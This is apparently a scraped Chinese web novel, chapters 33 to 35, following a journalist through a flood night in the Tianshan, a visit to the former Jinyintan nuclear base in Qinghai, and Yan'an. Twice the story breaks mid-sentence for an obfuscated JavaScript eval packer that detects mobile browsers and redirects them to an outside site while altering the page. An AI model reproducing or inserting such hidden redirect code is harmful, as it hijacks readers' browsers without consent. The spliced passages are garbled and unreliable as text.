他没解释这话的意思。很多年后，叶葆启在摄影记者的遗物中看到那张照片：模糊的雨幕中，下坠的岩石确实不像岩石，它边缘融化在光线里，更像一个蜷缩的人形，或是一颗巨大的、正在落泪的眼珠。 陷车发生在河谷最狭窄处。雨水泡软了路基，大地忽然变得温柔而危险——那种温柔的陷阱，像莫言笔下用蜜糖包裹的刀锋。左后轮陷进去时几乎没有声音，只有一种缓慢的下沉感，仿佛不是车陷进泥土，而是泥土张开口，轻轻含住了钢铁的脚踝。 小刘试了所有方法：垫石块、挖淤泥、反复冲刺。车轮只是越陷越深，旋转时甩出的泥浆在车灯照射下，像黑色的血。最终，引擎过热保护启动，车辆彻底沉默。四周只剩下雨声，还有河谷里暴涨的水声——那声音从远处传来，低沉而持续，像巨兽的肠鸣。 寒冷悄然降临。不是温度计显示的寒冷，是那种从骨髓深处开始结晶的冷。叶葆启翻出最后几块馕，掰开时碎屑如雪落下。他们轮流喝一小口保温壶里的热水，每一次吞咽都成为隆重的仪式。 摄影记者开始讲他人生中第一次陷车，在柴达木盆地，摄氏零下二十五度。“我和老班长困了七天。最后两天，我们开始聊天，聊着聊着，发现对方的脸在变化。老班长变成了我死去多年的父亲，我变成了他从未谋面的儿子。我们对着彼此喊错的名字，把一生的秘密都说给了错误的人听。” “后来呢？”小刘呵着白气问。 “后来救援队来了，说我们运气好。可我知道不是运气。”摄影记者的眼珠在黑暗里发着幽光，“是我们用幻觉支付了路费，山神才放我们走。” 这话让叶葆启脊背发凉。他看向车窗外沉甸甸的黑暗，忽然觉得那些黑暗是有质量的、有生命的。也许摄影记者说得对，这条路上需要支付的不是金钱，而是别的什么——记忆、理智，或者灵魂的碎片。 为了抵御逐渐蔓延的麻木，叶葆启打开采访本，借着手电筒惨白的光写字。笔尖划破纸张的声音，在雨声中微小却清晰，像一只虫在啃食时间。 “我们在天山腹地变成了一件等待被签收的货物……”他写道，“车是铁皮的棺材，雨是永不止息的挽歌。张说他在吃胶片那年见过水下的眼睛，我此刻也看见了——不是在水里，在黑暗里。它们悬在车窗外，密密麻麻，没有恶意也没有善意，只是看着。这些眼睛属于所有曾消失在这条路上的人：赶驼队的商人、勘测队员、走私犯、逃婚的情侣……他们嵌在山的记忆里，成为地质层的一部分。” 写到这里，叶葆启真的看见了眼睛。不是幻觉，是远处山坡上缓缓移动的光点——野狼？岩羊？还是摄影记者所说的“哨兵”？它们保持距离，形成松散的包围圈。小刘也看见了，默默从座位下抽出防身的铁棍。 但那些光点始终没有靠近。它们只是存在，像星群坠落在此处，标记着这片夜晚的坐标。 凌晨一点，饥饿开始显形。它不再是一种感觉，而是一个实体，蹲在车厢角落里，有潮湿的皮毛和温热的鼻息。叶葆启想起莫言描写过的饥饿：“饥饿像一条狗，跟着你，舔你的脚后跟。”此刻这条狗钻进了他们的胃，用爪牙刮擦着内壁。 摄影记者忽然说：“我听见有人在唱歌。” 小刘侧耳：“只有雨声。” “不，是歌声。很老的哈萨克民歌，《白色的山峰》。我二十年前在伊犁河谷录过，那个老歌手唱完就死了，肺里全是雪山的风。”摄影记者闭上眼睛，干裂的嘴唇微微翕动，竟哼出了几个破碎的音调。 叶葆启也听见了。不是通过耳朵，是通过骨头传导的震动——遥远、苍凉、断断续续，像风穿过岩石的孔窍。也许不是歌声，是山在模仿歌声，用千百年的记忆。 两点十七分，卫星电话终于接通救援队。信号断续，叶葆启的喊声在风雨中破碎成单字：“陷车……河谷……巴仑台方向……”对方的声音像是从水底传来：“……坚持……车已出发……” 挂断后，希望并未如期而至，反而让等待变得更加锋利。知道救援在路上，就像知道刀正在落下，却看不见它下落的轨迹。小刘开始检查车辆设备，一遍又一遍，用机械的重复对抗焦虑。摄影记者睡着了，发出轻微的鼾声，怀里还抱着相机。叶葆启看着这两个同伴，忽然涌起一种近乎温柔的情绪：他们是他在这个世界上最熟悉的陌生人，共享过同一段被压缩的时空，此后无论生死，都会在彼此的记忆里留下烙印。 他想起了自己早逝的父亲，一个沉默的人。父亲唯一留下的遗物是一本野外笔记，最后一页写着：“今日在昆仑山北坡发现蓝色岩层，疑为古海洋遗迹。风大，帐篷险些被掀翻。小马发烧说明话，喊一个女人的名字，不是他妻子。大山记得所有秘密。” 大山记得所有秘密。此刻天山也记得他们的困境，记得引擎最后的哀鸣，记得手电筒光柱划破雨夜的轨迹。许多年后，当其他车辆经过此处，或许会收到这段记忆的碎片——无线电里莫名的杂音，仪表盘瞬间的波动，或是车灯照亮岩壁时一闪而过的、三个模糊人影。 救援车到来前，叶葆启做了一个短暂的梦。他梦见自己走出了越野车，雨停了，月光洒满河谷。前方站着一个人，背对着他，穿的是七十年代的地质队员制服。那人转过身，是父亲的脸，却年轻得令人心碎。 “路还远。”父亲说，声音像碎石摩擦。 “我知道。” “有些东西不要深究。”父亲指向河谷深处，“山肚子里埋着的，不只是岩石。” “那还有什么？” 父亲笑了，笑容裂开，里面不是牙齿，是小小的、发光的晶体：“有光。被压碎的光，尖叫的光，还有永远不会抵达目的地的光。” 梦在这里断裂。引擎声由远及近，雪亮的光柱刺破黑暗。救援车像从神话里驶出的巨兽，浑身沾满泥浆，车前焊着粗壮的钢架，仿佛中世纪骑士的长矛。 哈萨克族队长跳下车时，大地都在震动。他叫叶尔肯，脸颊上有两道深刻的冻疮疤痕，像额外的嘴。“记者同志！”他的握手有力得能捏碎骨头，“又是这个鬼地方，今年第三辆车了。” 救援过程简单粗暴：钢缆、绞盘、引擎的咆哮。越野车被从大地的吮吸中拔出来时，发出一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904185|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类似哭泣的吱呀声。叶尔肯检查了底盘，吐了口唾沫：“没事，天山跟你们开玩笑呢。它有时吞辆车，就像人嗑个瓜子。” 重新上路前，叶尔肯递给叶葆启一个锡壶：“喝一口，驱寒。” 是烈酒，滑过喉咙时像吞下一道火线。叶葆启咳嗽起来，眼泪都呛了出来。叶尔肯大笑，笑声在河谷里回荡，惊起了远处不知名的夜鸟。 “你们要去南疆？”叶尔肯问。 “去库尔勒，然后可能去和田。” “南疆的沙子和北疆的雪不一样。”叶尔肯望向黑暗深处，“雪只是冷，沙子会钻进你的脑子，改变你想事情的方式。小心点，记者同志，别让沙子住进去。” 这句忠告像一颗种子，埋在了叶葆启心里。后来的日子里，他时常感到后脑勺某处有细微的摩擦声，仿佛真有沙粒在那里定居，缓慢地打磨着他的记忆。 抵达巴仑台镇时，天边已泛起尸骨般的苍白。旅店老板娘是个四川女人，四十多岁，眼角的皱纹里嵌着洗不净的煤灰。她没多问，直接扔出三把钥匙：“热水只到六点，过时不候。” 房间狭小，墙壁上的水渍形成抽象的地图。叶葆启倒在床上，感到自己像一件被拆散的机械，每个关节都在呻吟。但他睡不着，耳朵里还回响着引擎声、雨声、摄影记者哼唱的破碎歌谣。 他起身，再次翻开采访本。手电筒光下，之前写的字迹有些洇开，像在哭泣。 “凌晨四点的巴仑台，”他写道，“像大战后的废墟。不是被摧毁，是被遗弃。老板娘说她来了十五年，见过的记者有几十批。‘都像你们一样，不要命地往山里钻。’她说。我问她为什么留下。她点了支烟，烟头在黑暗里明明灭灭：‘等一个人。虽然知道他不会回来了。’” “每个西部的驿站都住着等待的幽灵。她们等丈夫、等儿子、等一封永远不会抵达的信。我们在等的又是什么？一个真相？一篇报道？还是一个能说服自己继续前行的理由？” “张在隔壁打鼾，小刘在擦他的靴子。我们都是彼此的见证者，证明对方确实存在过，确实在这条生死线上走过一遭。没有见证，痛苦就会消失，像从未发生。这是最可怕的——不是死亡，是被遗忘。” 他写到这里，听见窗外传来歌声。不是幻觉，是真有人在唱，用他听不懂的突厥语系语言，苍凉如狼嚎。他走到窗边，看见街对面屋檐下，一个老汉抱着热瓦普，对着逐渐亮起的天光弹唱。音符像受惊的鸟，扑棱棱飞进晨曦。 那一瞬间，叶葆启理解了摄影记者的痴迷。不是对摄影，是对“凝固”的痴迷——把流动的光、易逝的声、即将消散的瞬间，强行固定在某个媒介上。这是一种反抗，对抗时间的腐蚀，对抗存在的虚无。 他举起随身的小相机，拍下了弹唱的老汉。闪光灯惊动了老人，他停下，望向这边。然后，出乎意料地，他点了点头，仿佛完成了某种交接仪式，继续弹唱。 第二天是个谎言般的好天气。阳光纯净得如同创世之初，把昨夜的一切泥泞、黑暗、恐惧都蒸发得干干净净。天山露出它仁慈的一面：雪峰耀眼，云朵蓬松，连风都变得温柔。 摄影记者早早起来，蹲在旅店门口擦他的镜头，专注得像在擦拭圣物。小刘检查车辆，报告说除了剐蹭，一切正常。叶葆启看着他们，看着阳光下闪闪发光的巴仑台镇，忽然觉得昨夜的困境像一场集体幻觉。 但车身上的泥浆是真的，剐痕是真的，仪表盘上显示的发动机过热记录也是真的。真实与幻觉在这条路上没有明确边界，它们互相渗透，像雨水渗入大地。 出发前，老板娘追出来，塞给他们一袋烤馍：“路上吃。南疆还远呢。” 车驶出镇子，重新汇入天山脉络。经过昨夜陷车的地方，叶葆启让小刘停下。白天的河谷完全变了样：水流湍急但清澈，岸边有被冲倒的红柳，几只乌鸦在捡食什么。完全看不出这里曾吞噬过一辆车，囚禁过三个人。 “看那里。”摄影记者指向河滩。 阳光下，有什么东西在反光。他们走近，发现是半截埋在沙石里的汽车保险杠，锈蚀严重，不知是哪年哪月的遗物。摄影记者拍照时，叶葆启用脚拨开周围的石子。更多碎片露出来：玻璃碴、齿轮、一块印着模糊字迹的牌照。 “天山是个贪吃的孩子。”摄影记者说，“但它消化不了钢铁，只能吐出来，一点一点，像反刍。” 这个比喻让叶葆启想起父亲笔记里的那句话：“大山记得所有秘密。”也许这些钢铁残骸就是山的记忆体，是它无法消化、又不愿遗忘的部分。每一片锈铁里都封存着一个故事：抛锚、绝望、救援或死亡。 他们沉默地站了一会儿，对这片无名墓地致意。然后上车，继续向南。 路在延伸，仿佛永无止境。但叶葆启知道，最险峻的路段已经过去。接下来的考验会是另一种形式：南疆的沙漠会带来不同的幻觉，那是干渴的、灼热的、让人产生海市蜃楼的幻觉。 他回头望了一眼逐渐远去的天山。晨光中，山脉的轮廓变得柔和，几乎像母亲的侧影。但他知道，那温柔是假象。山永远是山，它给予的与夺取的一样多。而记者的使命，就是行走在这给予与夺取的边缘，记录下所有濒临消失的、不被看见的、在绝境中开出的花。 摄影记者摇下车窗，让风灌进来。风中已经带着沙漠的气息，干燥的、颗粒状的、仿佛能听见无数细沙摩擦的声音。 “老叶，”他说，“我想明白了。昨晚拍的那张石头下落的照片，我要叫它《未抵达的讯问》。” “为什么？” “因为所有落下的石头，都是山向大地提出的问题。但大地从不回答。” 叶葆启看向前方无尽的路。是啊，他想，他们也在提问，向这片土地，向这里的人，向这个时代。有些问题会有答案，有些会像那些石头一样，永远悬在半空，成为未抵达的讯问。 越野车加速，驶向南方。天山在后视镜里渐渐变小，最终成为地平线上一道银色的缝，像天空刚刚愈合的疤痕。 而他们，带着这道疤痕的印记，继续走向更深的辽阔。 34. 第034章 隐没的银冠 穿越西部生死线后，他们在塔克拉玛干边缘的县城休整了几日。叶葆启的笔记本里夹着几片枯死的胡杨叶，像某种来自远古的符文。当他们调头东返，翻越阿尔金山垭口时，七月的高原风突然变得粘稠——仿佛不是空气在流动，而是时间本身在翻涌。 司机指着前方说：“进了青海，天地就不一样了。” 确实不一样。山体的颜色从赤褐转为青灰，云层低垂得几乎要擦着越野车的顶架。叶葆启摇下车窗，闻到一股混合着牦牛粪、酥油和某种金属锈蚀气味的复杂气息。这气息让他想起童年时祖母的铁皮盒子，打开时总涌出说不清年代的味道。 青海在他们面前缓缓展开，不是画卷式的展开，而是像一本厚重的、书页粘连的典籍，需要用力才能翻开。他们计划探访的第一个地方，既非碧波万顷的青海湖，也非金顶辉煌的塔尔寺，而是一个在地图上曾消失三十年的地名——金银滩草原。当地人叫它“原子城”，但在某些机密档案里，它只是“青海矿区”或一串数字代号：二二一。 越野车驶入金银滩时，正是午后。阳光在草原上泼洒出万千光斑，每一株草尖都顶着一颗颤抖的太阳。远处，祁连山的雪峰像一排列队的银甲武士，沉默地守护着什么。草原太美了，美得不真实——紫色的格桑花、黄色的垂头菊、猩红的狼毒花，织成一块漫无边际的锦缎。牛羊散落其间，移动缓慢，仿佛时间在这里被稀释了。 然而，当那些红色砖楼从地平线浮现时，整个画面的色调陡然改变。 楼群排列得过于整齐，像是用巨大的尺子比量过。三层或四层，坡屋顶，方窗户，墙面上的红漆已经斑驳，露出底下更暗的底色。有些窗户破了，黑洞洞的，像被挖去眼珠的眼眶。楼与楼之间是宽阔的水泥路，路缝里长出一丛丛倔强的野草。 “到了。”司机熄了火。 发动机的轰鸣停止后，草原的寂静像潮水般涌来。不是纯粹的静——风在耳边呜咽，远处有牧羊犬的吠叫，更远处是隐约的河流声。但在这片遗址上空，悬浮着另一种寂静：一种被刻意保持的、充满张力的沉默。 基地旧址纪念馆是由当年的厂部办公楼改造的。一进门，先看见的是一面巨大的铜浮雕：蘑菇云的图案被抽象成旋转升腾的火焰，火焰中浮现出无数张面孔——戴眼镜的、戴军帽的、裹着头巾的，所有面孔都朝着同一个方向仰望。 一位老人迎上来。他走路时左腿微微拖沓，像是关节里藏着某个旧伤痛的记忆。头发全白了，但梳得一丝不苟，中山装的扣子一直系到领口。 “我姓赵，以前在这里搞工程。”老人的声音沙哑，带着江浙口音，“你们是记者？好，好，该写写这里了。” 赵老的手异常干燥，握上去像握住一截老树根。他的眼睛是浑浊的黄色，但看向墙上的老照片时，突然变得清亮起来。 第一张照片摄于1958年秋。一群年轻人站在刚刚搭起的帐篷前，背景是苍茫的草原和更苍茫的天空。他们都穿着臃肿的棉大衣，笑容却很灿烂，牙齿在高原阳光下白得耀眼。照片右下角有一行小字：“首批建设者抵达矿区留念”。 “这个人，”赵老的手指轻轻触碰玻璃框，指着一个戴眼镜的瘦高个，“是个物理老师，姓王。他报到时带了两箱子书，结果发现这里连张像样的书桌都没有。后来他把箱子摞起来当桌子，趴在箱子上算数据，一算就是通宵。” 赵老停顿了一下，似乎在聆听什么。叶葆启也跟着侧耳——只有风声。 “有天夜里下大雪，帐篷快压塌了。王老师第一个冲出去加固支撑，回来时眉毛头发全结了冰。大家笑他像个白毛仙翁，他就用冻僵的手在帐篷壁上画了个蘑菇云，说：‘等咱们的宝贝成了，比这帐篷大一千倍，一万倍。’” “后来呢？”年轻摄像师小刘问。 “后来……”赵老的手指从照片上滑开，“后来他在一次试验中受了辐射，调回北京治疗。临走时，他把自己那两箱书留给了我，说：‘老赵，这些我用不上了，留给后面的人。’” 赵老转身走向下一个展柜，脚步更拖沓了些。叶葆启注意到，那两箱书并没有出现在纪念馆的展品中。它们去了哪里？是被翻烂了，遗失了，还是化作了纸浆，又重生为别的文字？莫言常说，物件是有灵魂的，它们记得所有抚摸过自己的手。 第二张照片是爆轰试验场的施工现场。巨大的深坑已经初具雏形，吊车、推土机、密密麻麻的工人。每个人都小得像蚂蚁，但每只“蚂蚁”都绷紧了身体的每一根线条。 “这是‘亚洲第一坑’。”赵老说，“当时没有大型机械，很多是靠人挖肩扛。冬天，地表冻得比铁还硬，一镐下去只留个白点。有个四川来的小战士，虎口震裂了，鲜血把镐把染得通红。卫生员要给他包扎，他说：‘等会儿，等我把这个数据记下来。’你们猜他记在哪里？” 赵老的目光扫过每个记者，最后落在叶葆启的笔记本上。 “记在绷带上。他用蘸着血的纱布，在水泥模板上写数字。后来那块模板被浇注进混凝土，永远埋在了坑底。” 叶葆启下意识地摸了摸自己的笔记本。他的字是用墨水写的，可以擦去，可以修改。而那些血写的数字，一旦写下就永远定格，成为建筑的一部分，历史的一部分，土地的一部分。 黄昏时分，赵老带他们去上星站。 那是一座孤零零的站台，两条铁轨从站台延伸出去，消失在暮色中的草原深处。铁轨已经生锈，枕木间的野草长得齐膝高。站台的水泥地面裂缝纵横，裂缝里填满了黑色的泥土和细小的白色野花。 “这里是将部件装配完毕，送上专列的地方。”赵老站在站台边缘，身影在夕阳下被拉得很长，“每次运输都是在深夜，绝对保密。火车进站时不鸣笛，车头灯用黑布蒙着，只留一条缝。装卸工人穿着特制的防护服，像一群沉默的白色幽灵。” 他顿了顿，眼睛望向铁轨消失的方向。 “有一次，也是这样的黄昏，我亲眼看见列车启动。那是一节特殊的车厢，外面看起来和普通车厢没两样，但里面……里面装的是即将成型的‘产品’。火车缓缓开动时，整个站台的人都立正敬礼。没人说话，只有车轮撞击铁轨的哐当声，一声，一声，像是大地的心跳。” “后来呢？”叶葆启问。 “后来那列火车安全抵达罗布泊。再后来，1964年10月16日，那边传来消息——成了。” 赵老说“成了”两个字时，声音很轻，轻得几乎被风吹散。但叶葆启却觉得，这两个字重得能让铁轨震颤。 夜幕完全降临。没有路灯，只有月光泼洒在站台上，把一切都镀上一层清冷的银白。叶葆启独自在站台上走了一圈，靴子踩在碎石上发出咯吱咯吱的声响。他突然产生一种幻觉：如果此刻蹲下来，把耳朵贴紧铁轨，也许还能听见三十年前的震动，那些深夜里的秘密运行，那些被蒙住眼睛的列车，那些连自己运送的是什么都不知道的押运员。 远处传来狼嚎，悠长而苍凉。草原的夜晚醒了。 第二天，他们去看爆轰试验场遗址。 车在草原上颠簸了半个多小时，直到前方出现一个巨大的、凹陷的地形。那不是天然的洼地——边缘太过规整，像是被一只巨人的汤匙狠狠挖走了一块土地。 赵老站在坑边，白发在风中飞扬。他没有立即说话，而是从口袋里掏出一个小布包，打开，取出一把灰白色的土，轻轻撒向深坑。 “这是从罗布泊带回来的土。”他解释，“每次有老同事回去参观，都会带一点回来，撒在这里。算是……团圆吧。” 深坑直径近百米，坑壁是裸露的钢筋混凝土，上面布满了蛛网般的裂缝。最震撼的是那些漆黑的灼烧痕迹——不是涂料，不是污渍，是瞬间的极端高温在材料上留下的永久印记。痕迹呈放射状，从坑底某个中心点向外扩散，像一朵被定格在绽放瞬间的黑色花朵。 “这里进行过几十次爆轰试验。”赵老说，“用的是缩小比例的模型。每次试验前，所有人撤离到五公里外的掩体里。倒计时开始：十、九、八……数到一时，大地会剧烈震动，即使隔着掩体也能感到胸腔在共振。然后是一道强光，强到能穿透眼皮。最后才是声音——不是‘轰’的一声，而是持续的低吼，像是地底有巨龙翻身。” 叶葆启走到坑边，俯身向下看。坑底积了雨水，形成一小片浑浊的池塘，倒映着天空的流云。他忽然想起莫言在《丰乳肥臀》里描写的爆炸场景：“火光不是红色，是惨白，像死人的脸。”那么这里的火光呢？该是什么颜色？恐怕是世间没有的颜色，是只有在物质转化为能量的那个瞬间才会显现的、属于宇宙本质的颜色。 摄像师想下到坑底拍摄，被赵老制止了。 “辐射水平虽然已经安全，但有些东西……最好不要打扰。”老人的眼神复杂，“下面埋的不只是混凝土和钢筋。” 叶葆启明白他的意思。埋在那里的是时间，是青春，是无数个不眠之夜的计算与争论，是算盘珠的噼啪声和手摇计算机的咔嗒声，是在绝密条件下相恋又不得不分离的爱情，是父亲离开时孩子还没出生、回来时孩子已会走路的遗憾。 下午，他们拜访了草原上的牧民才让一家。 才让的帐篷离遗址区大约十里，是划定的牧区。他四十多岁，脸庞被高原阳光镀成古铜色，眼角皱纹深刻，笑起来时整张脸像一朵绽放的菊花。 “我阿爸是厂里的司机。”才让一边给他们倒酥油茶，一边用生硬的汉语说，“开那种大卡车，绿色帆布篷的。小时候我不知道他运什么，只知道他每次出车回来，都会带点好东西——有时候是几颗水果糖，有时候是一本旧画报。” 帐篷里挂着几张老照片。其中一张是才让的父亲站在卡车前，身穿旧军装，胸前别着一枚像章。卡车被帆布裹得严严实实，看不出里面装了什么。 “阿爸说，有次冬天出车，遇到暴风雪，能见度不到五米。车队迷路了，在草原上转了一夜。天亮时，他们发现自己就在试验场边缘，再往前开几百米，就会闯入禁区。”才让喝了一口茶，眼睛望向帐篷外无垠的草原，“带队的老兵下了车，跪在雪地里磕了三个头，说：‘祖宗保佑，没酿成大错。’后来他们才知道，那天禁区里正好有重要试验。” “你父亲现在……”叶葆启问。 “走了，十年前走的。”才让平静地说，“肺病。医生说，可能和年轻时接触的东西有关，也可能就是草原上常见的病。阿爸自己从没抱怨过。临终前，他把我叫到床边，说：‘才让，我这一辈子，最光荣的就是那十几年。虽然不能对人说，但我知道自己在做什么。’” 才让的妻子一直安静地坐在帐篷角落捻羊毛线。这时她抬起头，用藏语说了句什么。才让翻译道：“她说，阿爸下葬时，我们按藏族习俗请了喇嘛念经。喇嘛说，他的灵魂很干净，像雪山上的雪。” 帐篷外传来羊群的叫声。才让的小女儿跑进来，大约七八岁，红扑扑的脸蛋，辫子上缠着彩色丝线。她好奇地打量着采访组，最后目光落在摄像机上。 “这个能照相吗？”她问。 摄像师给她看取景器里的画面。女孩看见自己的脸，咯咯笑起来，笑声清亮得像银铃。 叶葆启突然想到：这笑声，这平静的牧羊生活，这代代相传的草原，都是因为几十年前那些隐姓埋名的人，在离此不远的红砖楼里，用青春乃至生命换来的。 和平是有重量的，它压在每一株草上，每一片云上，每一个孩子的笑声上。 那晚他们住在海晏县城的招待所。叶葆启失眠了。 窗外，青海的星空低垂得惊人，仿佛跳起来就能摘下一把星星。银河横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904186|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贯天际，乳白色的光带里嵌着无数闪烁的钻石。这样的星空，当年那些科学家们也一定看过。他们在计算间隙走出帐篷，揉着酸痛的眼睛，抬头看见这亘古不变的星河时，会想些什么？ 也许会想到家乡，想到父母妻儿，想到自己正在从事的事业将改变这个国家的命运。也许什么都不想，只是让星空那冰冷的辉煌，暂时洗净脑海中的复杂公式和重重忧虑。 凌晨两点，叶葆启披衣起床，走进招待所的小院。却发现赵老也在，坐在石凳上抽烟，烟头在黑暗中一明一灭。 “赵老，您也睡不着？” “年纪大了，觉少。”老人拍拍身边的位置，“坐。” 叶葆启坐下，闻到烟草混合着夜露的气息。 “白天您说的那位王老师，”叶葆启犹豫了一下，还是问了，“他后来怎么样了？” 赵老深吸一口烟，缓缓吐出。烟雾在月光下变成淡蓝色的纱。 “他回北京治病，三年后去世了。临走前给我写过一封信，说：‘老赵，我不后悔。唯一遗憾的是，没能看到孩子们长大的样子。’他有三个孩子，来青海时最大的才五岁。为了保密，他写信时不能提工作，只能说‘我在西北搞建设’。孩子们以为爸爸在修铁路，还在作文里写：‘我爸爸是铁道兵，他在祖国最需要的地方。’” 赵老的声音很平静，但叶葆启听出了平静下的汹涌。 “后来呢？孩子们知道真相了吗？” “知道了，八十年代解密后。最小的那个女儿，后来考上了北大物理系。她说，她要走完父亲没走完的路。”赵老掐灭烟头，“前年她来原子城参观，我见到了，四十多岁的人，站在父亲住过的宿舍楼前哭得像个小姑娘。” 沉默。只有远处偶尔传来的狗吠。 “赵老，您自己呢？后悔过吗？”叶葆启问完就后悔了——这问题太直接，太残忍。 但老人笑了，是那种经历过一切后的通透的笑。 “后悔？不。我们那一代人，心里都憋着一股气。你知道新中国成立时，西方怎么说我们吗？他们说，中国搞不出原子弹，给再多时间也搞不出。有位外国专家临走时撂下话：‘你们只能种土豆，搞不了尖端科学。’” 赵老站起来，伸展了一下僵硬的腰背。 “我们就偏要搞出来。没有计算机，用手摇计算器；没有大型机床，用锉刀一点点锉；没有经验，就一遍遍试，试到成功为止。你说苦不苦？苦。但那种苦，是甜的苦——就像你喝惯了酥油茶，会觉得奶茶没味儿。” 他望着星空，声音变得悠远：“我这辈子最骄傲的时刻，不是原子弹爆炸成功那天——那天我在加班，是后来听广播知道的。我最骄傲的，是1967年□□试验成功后，我作为代表去开会。散会后，我一个人走到广场，看着城楼上的像，心里说：‘主席，我们做到了。’那一刻，我觉得所有的苦，所有的隐姓埋名，都值了。” 叶葆启的喉咙发紧。他想说些什么，却找不到合适的词。语言在这种时刻总是贫乏的。 “小叶子，”赵老突然用长辈的口吻叫他，“你是记者，要用笔把这一切记下来。不是记功劳，不是记数据，是记那些人——那些把名字刻在保密条例上的人，那些在草原上老去的人，那些永远留在这里的人。他们不需要立碑，但需要被记住。” “我会的。”叶葆启郑重地说。 离开原子城那天，下起了小雨。 雨丝细密，把草原染成深浅不一的绿。远处的红砖楼在雨雾中变得朦胧，像是正在慢慢溶化，要回归土地。赵老撑着黑伞在纪念馆门口送他们，身影在雨幕中显得格外瘦小。 “保重身体，赵老。”叶葆启用力和他握手。 “你们也是。后面的路还长。”老人从口袋里掏出一个小纸包，“这个，留个纪念。” 纸包里是一小块铁片，边缘已经锈蚀，但还能看出原本的弧度。 “这是从第一台离心机上拆下来的零件。报废时，我偷偷留了一小块。”赵老的眼睛在伞下闪着光，“现在给你们。也许它能告诉你们，真正的力量是什么。” 越野车启动了。叶葆启回头，看见赵老还站在雨中，身影越来越小，最后变成一个黑点，融进那片红色的楼群，融进那片开满鲜花的草原，融进那段正在远去的、却永远不会消失的历史。 雨刷器有节奏地摆动。车内很安静，每个人都沉浸在自己的思绪里。叶葆启摸着口袋里那块铁片，冰冷，粗糙，却有着生命的温度。 他在笔记本上写下： “金银滩的鲜花年年盛开，像大地的记忆，绚烂而短暂。而那些红砖楼正在老去，像历史的骨骼，沉默而永恒。在这鲜花与砖楼之间，在这短暂与永恒之间，行走过一代人——他们用青春浇灌荒原，用智慧点燃闪电，用沉默守护雷鸣。他们的名字不为人知，但他们的功勋镌刻在每一寸和平的土地上，呼吸在每一个自由的空气里。 “记者之笔太轻，称量不动这样的重量。但还是要写，要记，要传——因为遗忘是第二次死亡，而记忆是永恒的复活。” 车窗外，雨渐渐停了。一道彩虹横跨草原，一端落在原子城旧址，一端伸向祁连雪山。光在雨后的水洼里跳跃，每一片草叶都顶着一颗颤抖的世界。 青海在他们身后缓缓合拢，像那本厚重的典籍，翻过了一页，但故事还在继续。 而前方，青海湖的蓝色已经在地平线上隐约浮现——那是另一种浩瀚，另一种深不可测。但叶葆启知道，见过原子城的他，已经不再能用从前的眼睛看这片高原了。有些东西一旦看见，就永远改变了你。 就像那些科学家，一旦选择了那条路，就再也不能回头——也不需要回头。 因为他们的前方，是整个民族的未来。 他们的身后，是终于挺直的脊梁。 35. 第035章 厚土流光 月光是有重量的。叶葆启推开木窗时，那银白色的光倾泻进来，压在他的肩头，像浸透了黄土的雨水，沉甸甸地渗进布衫里。陕北的夜，静得能听见月光流淌的声响，汩汩的，仿佛从远古的地层深处涌上来。 抵达延安第三日，他的眼睛仍有些不适应。不是光线，是那种晕眩——时间在这里失了轮廓，像一匹洗旧了的土布，八十年的经纬纠缠在一起，分不清哪是经，哪是纬。宝塔山的剪影在黄昏里蹲坐着，像一头反刍岁月的老牛。延河的水波光粼粼，让他想起小时候祖母铜盆里晃动的灯影。 在陈列馆，他看见一支钢笔。笔帽上有细密的齿痕，像是被什么反复啃咬过。讲解员的声音忽远忽近，他只盯着那齿痕看，仿佛能听见深夜窑洞里，笔尖划过麻纸的沙沙声，混着远处山峁上野狼的嗥叫。他在笔记本上写：“器物是会呼吸的。这钢笔里，憋着一口未吐尽的气。” 转身时，眼角的余光扫到玻璃上一个人影。灰布衫，模糊的脸。他猛回头，只有几个游客举着相机，闪光灯白得刺眼。可那一瞬，他分明闻见了旧棉布在阴雨天返潮的气味，混着旱烟叶子和劣质墨汁的味道。 “瞅见啥了？”同行的老陈问他。 “风，”叶葆启说，“穿堂风。” 但他知道不是。在青海那些废弃的厂房里，他也听过类似的声音——不是人声，是算盘珠子在黑暗里自己跳动，噼里啪啦，像一场无人观看的雨。 枣园的清晨是被鸟喙啄开的。信天游的调子断断续续，从这道梁飘到那道峁，碎成一片片，落在带露水的草叶上。叶葆启踩着湿漉漉的小径走，老枣树的影子在地上爬，树干拧得像受苦人的脊梁。他伸手摸那些皴裂的树皮，想象许多年前，也许有个娃娃用小刀在上面刻过字。刻的啥？一个“活”字，或是一个“走”字，早被树皮吞进了肚里。 窑洞比想象得更低矮，进门得弯下腰，像给什么看不见的东西鞠躬。里头阴凉，一股子土腥气混着霉纸味儿。木板床硬得硌人，煤油灯的玻璃罩熏得昏黄。他没敢碰那灯，只在半尺外虚虚地描摹它的轮廓——仿佛那簇火苗还在，只是睡着了。 “在这儿，写下了不少文章哩。”脸颊红扑扑的姑娘说。 叶葆启忽然想，那些字不是写出来的，是从黄土里长出来的。就像崖畔上的山丹丹，根扎在最贫瘠的土里，开出的花却红得骇人。 他在本子上画了个窑洞，在旁边注：“地方越小，心思越能漫山遍野地长。这是个怪理儿，可在这儿，是真的。” 人都走了，他还留在最后。穿堂风溜进来，灯影在土墙上晃了晃，像在摇头，又像点头。他低声问：“那时候，心里头空不空？” 只有风擦过门楣的呜咽。 